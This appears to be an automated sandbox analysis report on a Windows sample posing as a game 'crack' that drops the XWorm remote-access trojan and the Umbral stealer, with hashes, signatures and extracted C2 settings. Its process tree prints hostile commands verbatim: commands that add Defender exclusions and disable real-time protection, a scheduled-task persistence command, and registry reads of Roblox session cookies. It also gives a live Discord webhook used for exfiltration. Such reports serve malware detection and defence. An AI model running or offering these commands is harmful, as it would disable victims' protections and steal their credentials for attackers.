Resubmissions

27-12-2024 17:46

241227-wcf2haxna1 10

26-12-2024 23:41

241226-3pykmsvnhx 10

Analysis

  • max time kernel
    142s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    26-12-2024 23:41

General

  • Target

    3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54.exe

  • Size

    144KB

  • MD5

    9e092ddaae5a606aa7562aefa6d19193

  • SHA1

    f89629fc9325aa4e18563b9fb37d9b01e404e954

  • SHA256

    3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54

  • SHA512

    477a5cace00bb9fe1322f80f73b4f55da96ca8b43fbb735853568c406358ea47d68f575eadff34d878ba58d576129e6f007d661138e8d43bd703c201e7aee382

  • SSDEEP

    3072:ICjy4wEgSRZg6tYJbpVOfraR+wS8WurzkMXEe99:nwhmOCYJb/EraRVS8l59

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:46732

listing-repository.gl.at.ply.gg:46732

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    svchost.exe

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1321219981534298203/2bX3Cg6xbwKu45g5JAiVdKvMjVgYAyc-dGKLvybGhQzK_1h1Jt7szxeJv6nKrIMpNnXN

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Using powershell.exe command.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54.exe
    "C:\Users\Admin\AppData\Local\Temp\3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2388
    • C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe
      "C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'FatalityCrack.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2900
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2236
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2052
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:568
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2852
    • C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe
      "C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2572
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2612
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe"
        3⤵
        • Views/modifies file attributes
        PID:2352
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2092
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1296
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:388
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:472
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2308
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:1740
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:1752
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:2816
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:2992
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:2820
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {9BB946D9-2F0D-42FB-A0D7-6C4B3239BD7D} S-1-5-21-3692679935-4019334568-335155002-1000:BCXRJFKE\Admin:Interactive:[1]
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:2104
        • C:\Users\Admin\svchost.exe
          C:\Users\Admin\svchost.exe
          2⤵
          • Executes dropped EXE
          PID:1100
        • C:\Users\Admin\svchost.exe
          C:\Users\Admin\svchost.exe
          2⤵
          • Executes dropped EXE
          PID:2540

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe

        Filesize

        68KB

        MD5

        39e5154434df5aa11e9f0c65cd4f144f

        SHA1

        834ec83adc2234cbcd70efbb983891cc72259ddd

        SHA256

        3c2fdf6082ef589e943918ff25b7fe96e2e741464711dabab2d31a33e4b1e255

        SHA512

        f5c579a374b0898fdc6b4be7aeea110a18d1138a2d8ab4e9595f341e8258c5a35cd018048dc90ebb640f2ddd5d2be3b26f1caceb92a17124ce0c69719340db0f

      • C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe

        Filesize

        231KB

        MD5

        ae57a759dd91e36e11de032c61698600

        SHA1

        f96c5f318f439fabc012f1746a564c383fa41878

        SHA256

        f1ea81371987e6e74a79f623bcc16262efd6151a352d491ba668c706df8d3456

        SHA512

        26112e2bdb0884f6e781ba6e1e8e871aaecfbdc9ee80f156aacc6622c32b1c2069e66311f8ca458e34454c787f05ed463a2548d7a7bc05735d1a6f5bb524d295

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        daa223c2c6c6e7c89a5dd6f7135f2785

        SHA1

        10fc4fa6c4a74f9c5af2d3ef94e0ba6d66ade455

        SHA256

        df3aac7b8f756d5a42f2588ecdef75f6ba77e60c8ba072ca9239c7e667cb69d4

        SHA512

        d5499881545119716203bb079f919ffbeb9da136fb973258425360216f6ee5906e5bb64a3302196fe5ee19963d300b73f874db1ff048ec14faa440615c7a99ab

      • memory/1100-92-0x0000000001340000-0x0000000001358000-memory.dmp

        Filesize

        96KB

      • memory/1296-40-0x0000000002410000-0x0000000002418000-memory.dmp

        Filesize

        32KB

      • memory/2092-30-0x00000000024E0000-0x00000000024E8000-memory.dmp

        Filesize

        32KB

      • memory/2092-28-0x000000001B270000-0x000000001B552000-memory.dmp

        Filesize

        2.9MB

      • memory/2388-14-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

        Filesize

        9.9MB

      • memory/2388-0-0x000007FEF5E03000-0x000007FEF5E04000-memory.dmp

        Filesize

        4KB

      • memory/2388-22-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

        Filesize

        9.9MB

      • memory/2388-1-0x0000000000E20000-0x0000000000E4A000-memory.dmp

        Filesize

        168KB

      • memory/2468-15-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

        Filesize

        9.9MB

      • memory/2468-64-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

        Filesize

        9.9MB

      • memory/2468-7-0x0000000000DB0000-0x0000000000DC8000-memory.dmp

        Filesize

        96KB

      • memory/2572-21-0x0000000000EF0000-0x0000000000F30000-memory.dmp

        Filesize

        256KB

      • memory/2852-13-0x0000000002360000-0x0000000002368000-memory.dmp

        Filesize

        32KB

      • memory/2852-12-0x000000001B230000-0x000000001B512000-memory.dmp

        Filesize

        2.9MB